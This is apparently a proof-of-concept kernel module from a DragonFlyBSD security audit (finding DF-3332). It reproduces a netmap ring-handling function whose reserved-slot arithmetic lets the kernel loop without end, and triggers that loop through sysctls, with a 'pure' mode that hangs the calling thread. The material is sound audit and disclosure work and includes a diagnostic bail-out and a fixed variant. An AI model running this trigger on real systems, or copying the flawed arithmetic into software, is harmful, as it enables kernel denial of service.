โฌข DragonFlyBSD Kernel Audit
DF-3332 / df3332_kmod.c
โ† back to finding โ†“ download raw
/*
 * DF-3332 PoC โ€” netmap_grab_packets() unbounded kernel loop.
 *
 * The vulnerable function below is copied VERBATIM from
 * sys/net/netmap/netmap.c:723-760 (netmap_grab_packets), with only:
 *   - the netmap_kern.h machinery it uses stubbed out (documented below),
 *   - an iteration counter / bail-out added for the "diagnostic" mode
 *     (clearly marked INSTRUMENTATION; not present in the original).
 *
 * Why a standalone KLD: the netmap subsystem in this DragonFly tree does
 * not compile at all (netmap_kern.h:747 references ifnet.if_unused7 which
 * no longer exists โ€” see netmap_build_attempt.log), and no kernel config
 * includes it (sys/conf/files has no netmap entries).  The vulnerable
 * loop itself has no dependency on any of that machinery โ€” its control
 * flow depends only on ring->cur, ring->reserved, nkr_num_slots and
 * nr_hwcur โ€” so running it inside a real kernel as a KLD proves the
 * kernel-context behaviour (non-preemptible loop, kprintf flood,
 * unkillable syscall thread) with zero source changes to the logic.
 *
 * Trigger (mirrors the userspace reachability path
 * netmap.c:1443-1445 -> netmap_txsync_to_host:851-864 -> grab_packets):
 *   NIOCREGIF ifX with NETMAP_SW_RING, mmap, set ring->cur=0,
 *   ring->reserved=1 (slots len=0), NIOCTXSYNC.
 * Here the shared-memory ring state is set up directly.
 *
 * Modes (sysctl debug.df3332.mode):
 *   0 = diagnostic: bail out after debug.df3332.bail iterations and
 *       report whether the loop could ever terminate.
 *   1 = pure: verbatim loop, no bail-out โ€” sysctl(8) never returns,
 *       kprintf floods the console, the calling thread is unkillable.
 *
 * Build fixed variant with -DDD3332_FIXED (k -= n instead of k += n).
 */

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/module.h>
#include <sys/malloc.h>
#include <sys/sysctl.h>
#include <sys/time.h>

#include <net/if.h>		/* IFNAMSIZ for netmap.h */
#include <net/netmap/netmap.h>	/* struct netmap_slot / netmap_ring (pure) */

/* ---------- stubs for netmap_kern.h machinery (values irrelevant to
 * loop control; the real macros are bounded/clamped):
 *   NETMAP_BDG_BUF_SIZE: netmap_mem2.h:210  -> pool objsize (2048)
 *   BDG_NMB:             netmap_kern.h:857  -> clamped buf_idx lookup
 *   nm_next:             netmap_kern.h:197  -> verbatim copy below
 *   D():                 netmap_kern.h:81   -> unconditional kprintf
 *   m_devget / mbq_enqueue: alloc counters (variant (b) of the bug)
 */
#define NETMAP_BDG_BUF_SIZE(na)		(2048)
#define BDG_NMB(na, slot)		(df_buf)
#define unlikely(x)			(x)
#define D(format, ...)							\
	do {								\
		if (df3332_prints < 5 || (df3332_prints % 100000) == 0)	\
			kprintf("%03d.%06d grab_packets [%d] " format "\n",\
			    (int)time_second % 1000, 0, __LINE__,	\
			    ##__VA_ARGS__);				\
		df3332_prints++;						\
	} while (0)

static char df_buf[2048];
static u_int df3332_prints;
static u_int df3332_mbufs;
static u_int df3332_mbuf_limit = 100;	/* m_devget starts failing here */

struct netmap_adapter {		/* stub: only names referenced by the loop */
	void *nm_mem;
	void *ifp;
};
struct df_mbuf { int x; };
static struct df_mbuf df_m;
struct mbq { int len; };

static void *m_devget(char *a, int len, int z, void *ifp)
{
	(void)a; (void)len; (void)z; (void)ifp;
	if (df3332_mbufs >= df3332_mbuf_limit)
		return NULL;	/* memory exhausted โ€” original does `break` */
	df3332_mbufs++;
	return &df_m;
}
#define mbq_enqueue(q, m)	((q)->len++)

/* verbatim from netmap_kern.h:196-201 */
static inline uint32_t
nm_next(uint32_t i, uint32_t lim)
{
	return unlikely (i == lim) ? 0 : i + 1;
}

struct netmap_kring {		/* fields touched by the verbatim loop */
	struct netmap_ring *ring;
	uint32_t nr_hwcur;
	uint32_t nr_hwavail;
	uint32_t nkr_num_slots;
	struct netmap_adapter *na;
};

/* INSTRUMENTATION state (declared early so the verbatim function can use) */
static u_int df3332_bail = 10 * 1024;	/* diagnostic bail-out (mode 0) */
static u_int df3332_iters;

/*
 * ===== VERBATIM netmap_grab_packets() from sys/net/netmap/netmap.c:723-760
 * (m_devget/BDG_NMB/NETMAP_BDG_BUF_SIZE/D stubbed as documented above;
 *  INSTRUMENTATION lines are the only additions; struct mbuf -> df_mbuf)
 */
static int
netmap_grab_packets(struct netmap_kring *kring, struct mbq *q, int force)
{
	u_int lim = kring->nkr_num_slots - 1;
	struct df_mbuf *m;	/* was: struct mbuf *m (stub type) */
	u_int k = kring->ring->cur, n = kring->ring->reserved;
	struct netmap_adapter *na = kring->na;
	u_int iter = 0;					/* INSTRUMENTATION */
	int bailed = 0;

	/* compute the final position, ring->cur - ring->reserved */
	if (n > 0) {
		if (k < n)
			k += kring->nkr_num_slots;
#ifdef DD3332_FIXED
		/* DF-3332 fix: subtract reserved with wraparound */
		k = (k >= n) ? k - n : k + kring->nkr_num_slots - n;
#else
		k += n;		/* netmap.c:740 โ€” the DF-0358/DF-3332 defect */
#endif
	}
	kprintf("df3332: k=%u lim=%u nr_hwcur=%u num_slots=%u%s\n",
	    k, lim, kring->nr_hwcur, kring->nkr_num_slots,
#ifdef DD3332_FIXED
	    " [FIXED]"
#else
	    ""
#endif
	    );
	for (n = kring->nr_hwcur; n != k;) {
		if (df3332_bail && ++iter > df3332_bail) {	/* INSTRUMENTATION */
			bailed = 1;
			break;
		}
		struct netmap_slot *slot = &kring->ring->slot[n];

		n = nm_next(n, lim);
		if ((slot->flags & NS_FORWARD) == 0 && !force)
			continue;
		if (slot->len < 14 || slot->len > NETMAP_BDG_BUF_SIZE(na->nm_mem)) {
			D("bad pkt at %d len %d", n, slot->len);
			continue;
		}
		slot->flags &= ~NS_FORWARD; // XXX needed ?
		/* XXX adapt to the case of a multisegment packet */
		m = m_devget(BDG_NMB(na, slot), slot->len, 0, na->ifp);

		if (m == NULL)
			break;
		mbq_enqueue(q, m);
	}
	df3332_iters = iter;				/* INSTRUMENTATION */
	kprintf("df3332: RESULT iterations=%u bailed=%d mbufs=%u "
	    "(loop %s)\n", iter, bailed, df3332_mbufs,
	    bailed ? "WOULD NOT TERMINATE (bailed out)" : "terminated");
	return bailed;
}
/* ===== end verbatim function ===== */

static struct netmap_ring *df_ring;
static struct netmap_kring df_kring;
static struct netmap_adapter df_na;
static struct mbq df_q;

static int df3332_mode;		/* 0=diagnostic, 1=pure verbatim */
static int df3332_slot_len = 0;	/* userspace-controlled slot->len */
static int df3332_sysctl(SYSCTL_HANDLER_ARGS);

SYSCTL_NODE(_debug, OID_AUTO, df3332, CTLFLAG_RW, 0, "DF-3332 trigger");
SYSCTL_INT(_debug_df3332, OID_AUTO, mode, CTLFLAG_RW, &df3332_mode, 0,
    "0=diagnostic bail-out, 1=pure verbatim loop (never returns)");
SYSCTL_UINT(_debug_df3332, OID_AUTO, bail, CTLFLAG_RW, &df3332_bail, 0,
    "diagnostic iteration cap");
SYSCTL_UINT(_debug_df3332, OID_AUTO, iters, CTLFLAG_RD, &df3332_iters, 0,
    "iterations of last diagnostic run");
SYSCTL_INT(_debug_df3332, OID_AUTO, slot_len, CTLFLAG_RW, &df3332_slot_len,
    0, "slot->len value to plant (user-controlled via mmap)");
SYSCTL_PROC(_debug_df3332, OID_AUTO, trigger, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, df3332_sysctl, "I", "run the verbatim grab_packets loop");

static void
df3332_setup(void)
{
	u_int i, nd = 1024;	/* netmap_generic_ringsize default */

	if (df_ring == NULL) {
		df_ring = kmalloc(sizeof(*df_ring) + nd * sizeof(struct netmap_slot),
		    M_DEVBUF, M_WAITOK | M_ZERO);
	}
	/* the mmap()ed userspace thread writes these shared-memory fields: */
	*(uint32_t *)(uintptr_t)&df_ring->num_slots = nd;
	for (i = 0; i < nd; i++) {
		df_ring->slot[i].len = df3332_slot_len;
		df_ring->slot[i].flags = 0;
		df_ring->slot[i].buf_idx = 5;
	}
	df_ring->cur = 0;		/* user writes (passes k > lim check) */
	df_ring->reserved = 1;		/* user writes โ€” NEVER validated */

	df_na.nm_mem = (void *)1;
	df_na.ifp = (void *)1;
	df_q.len = 0;
	df_kring.ring = df_ring;
	df_kring.nr_hwcur = 0;		/* set by previous txsync (in range) */
	df_kring.nr_hwavail = nd - 1;
	df_kring.nkr_num_slots = nd;
	df_kring.na = &df_na;
	df3332_mbufs = 0;
	df3332_prints = 0;
}

static int
df3332_run(void)
{
	u_int saved_bail = df3332_bail;

	if (df3332_mode != 0)
		df3332_bail = 0;	/* pure: no bail-out, no exit */
	df3332_setup();
	netmap_grab_packets(&df_kring, &df_q, 1);	/* force=1 as in
					netmap_txsync_to_host (netmap.c:864) */
	df3332_bail = saved_bail;
	return 0;
}

static int
df3332_sysctl(SYSCTL_HANDLER_ARGS)
{
	int error, t = 0;

	error = sysctl_handle_int(oidp, &t, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);
	return (df3332_run());
}

static int
df3332_modevent(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		kprintf("df3332: loaded (netmap.c grab_packets loop test)\n");
		return 0;
	case MOD_UNLOAD:
		if (df_ring)
			kfree(df_ring, M_DEVBUF);
		kprintf("df3332: unloaded\n");
		return 0;
	default:
		return EOPNOTSUPP;
	}
}

static moduledata_t df3332_mod = { "df3332", df3332_modevent, NULL };
DECLARE_MODULE(df3332, df3332_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);